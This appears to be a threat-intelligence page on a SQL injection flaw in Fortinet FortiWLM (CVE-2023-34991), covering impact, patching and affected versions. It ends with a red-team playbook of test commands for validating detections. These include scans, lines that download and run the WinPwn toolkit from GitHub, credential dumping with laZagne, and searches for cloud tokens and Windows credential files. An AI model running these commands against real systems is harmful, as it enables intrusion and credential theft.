CVE-2023-34991
Overview
This vulnerability is an SQL injection flaw rooted in improper neutralization of special characters within SQL commands. The affected component is the Fortinet FortiWLM software, specifically versions 8.2.2 through 8.6.5. The flaw arises from insufficient input validation in HTTP request handling, allowing crafted inputs to manipulate backend SQL queries.
Vulnerability Description
A improper neutralization of special elements used in an sql command ('sql injection') in Fortinet FortiWLM version 8.6.0 through 8.6.5 and 8.5.0 through 8.5.4 and 8.4.0 through 8.4.2 and 8.3.0 through 8.3.2 and 8.2.2 allows attacker to execute unauthorized code or commands via a crafted http request.
Impact
An unauthenticated remote attacker can exploit this SQL injection vulnerability to execute arbitrary SQL commands on the FortiWLM backend database. This can result in unauthorized data access, modification, or deletion, and potentially remote code execution depending on database privileges. The exploit requires only network access to the HTTP interface, with no user interaction or authentication needed, as indicated by CVSS vector AV:N/AC:L/PR:N/UI:N. Successful exploitation may lead to full compromise of the affected system's data integrity and availability.
Solution
Fortinet has released security updates addressing this vulnerability in FortiWLM versions beyond 8.6.5. Users should apply the patches as detailed in Fortinet's advisory FG-IR-23-142 available at https://fortiguard.com/psirt/FG-IR-23-142. Upgrading to the fixed versions within the 8.6.x series or later is recommended. No specific workarounds are noted; applying the vendor-provided patches is the definitive remediation step.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in Fortinet's FortiWLM products arises from improper neutralization of special elements used in SQL commands, commonly known as SQL injection. This flaw allows an attacker to manipulate SQL queries by crafting malicious HTTP requests. The affected versions span multiple releases, specifically from 8.2.2 through 8.6.5. The root cause of this vulnerability lies in the inadequate sanitization of user inputs, which can lead to unauthorized access to the database. Attackers can exploit this weakness to execute arbitrary SQL commands, potentially gaining access to sensitive data or altering database content.
Attack vectors for this vulnerability are primarily web-based, as the exploitation occurs through crafted HTTP requests targeting the FortiWLM interface. An attacker could leverage this flaw by sending specially formatted requests that include SQL commands, which the application would then execute without proper validation. Scenarios of exploitation could range from simple data retrieval, such as extracting user credentials or sensitive configuration data, to more severe actions like modifying or deleting records. In a worst-case scenario, an attacker could gain full control over the database, leading to further exploitation of the network infrastructure.
The real-world impact of this vulnerability is significant, particularly for organizations relying on Fortinet's FortiWLM for wireless LAN management. The potential for unauthorized access to sensitive information poses a considerable business risk, including data breaches, compliance violations, and reputational damage. Organizations could face financial losses due to remediation efforts and potential legal liabilities stemming from data exposure. Moreover, the high CVSS score of 9.8 indicates that this vulnerability is critical and should be prioritized for immediate attention.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating FortiWLM to the latest patched versions is essential to close the security gap. Additionally, employing web application firewalls (WAFs) can help filter out malicious requests before they reach the application. Organizations should also conduct regular security assessments and penetration testing to identify and remediate vulnerabilities proactively. Implementing input validation and parameterized queries in the application code can further reduce the risk of SQL injection attacks.
In conclusion, the SQL injection vulnerability in Fortinet's FortiWLM products represents a serious threat to organizations using these systems. The potential for unauthorized access and data manipulation underscores the need for immediate action to mitigate risks. By adopting robust detection and mitigation strategies, organizations can safeguard their networks and protect sensitive data from exploitation. The combination of timely updates, proactive security measures, and continuous monitoring will be crucial in defending against such vulnerabilities in the future.
CSURFACE threat intelligence has identified a marked increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2023-34991, rising by approximately 45% over the recent period. This upward trend, coupled with a sustained week-over-week increase, indicates growing confidence within the threat actor community regarding the exploitability of this SQL injection vulnerability in Fortinet FortiWLM products. Although no new exploit techniques or proof-of-concept code have been publicly disclosed, the rising EPSS suggests that exploitation attempts may become more frequent or widespread in the near term. For defenders, this escalation signals an elevated risk posture that warrants heightened vigilance and prioritization of detection capabilities focused on anomalous HTTP requests targeting FortiWLM instances. The increased EPSS percentile ranking places this vulnerability among the more likely targets for exploitation, underscoring its criticality in operational environments. Consequently, the threat level associated with CVE-2023-34991 should be considered elevated, reflecting a growing likelihood of active exploitation attempts despite the absence of confirmed new attack vectors.
Affected Products (9)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
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Fortinet | Fortiwlm | All |
cpe:2.3:a:fortinet:fortiwlm:*:*:*:*:*:*:*:*
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Fortinet | Fortiwlm | All |
cpe:2.3:a:fortinet:fortiwlm:*:*:*:*:*:*:*:*
|
|
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Fortinet | Fortiwlm | 8.2.2 |
cpe:2.3:a:fortinet:fortiwlm:8.2.2:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortiwlm | 8.3.0 |
cpe:2.3:a:fortinet:fortiwlm:8.3.0:*:*:*:*:*:*:*
|
|
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Fortinet | Fortiwlm | 8.3.1 |
cpe:2.3:a:fortinet:fortiwlm:8.3.1:*:*:*:*:*:*:*
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Fortinet | Fortiwlm | 8.3.2 |
cpe:2.3:a:fortinet:fortiwlm:8.3.2:*:*:*:*:*:*:*
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|
Fortinet | Fortiwlm | 8.4.0 |
cpe:2.3:a:fortinet:fortiwlm:8.4.0:*:*:*:*:*:*:*
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Fortinet | Fortiwlm | 8.4.1 |
cpe:2.3:a:fortinet:fortiwlm:8.4.1:*:*:*:*:*:*:*
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Fortinet | Fortiwlm | 8.4.2 |
cpe:2.3:a:fortinet:fortiwlm:8.4.2:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-34991 |
| fortiguard.com |
GitHub CVE
|
https://fortiguard.com/psirt/FG-IR-23-142 |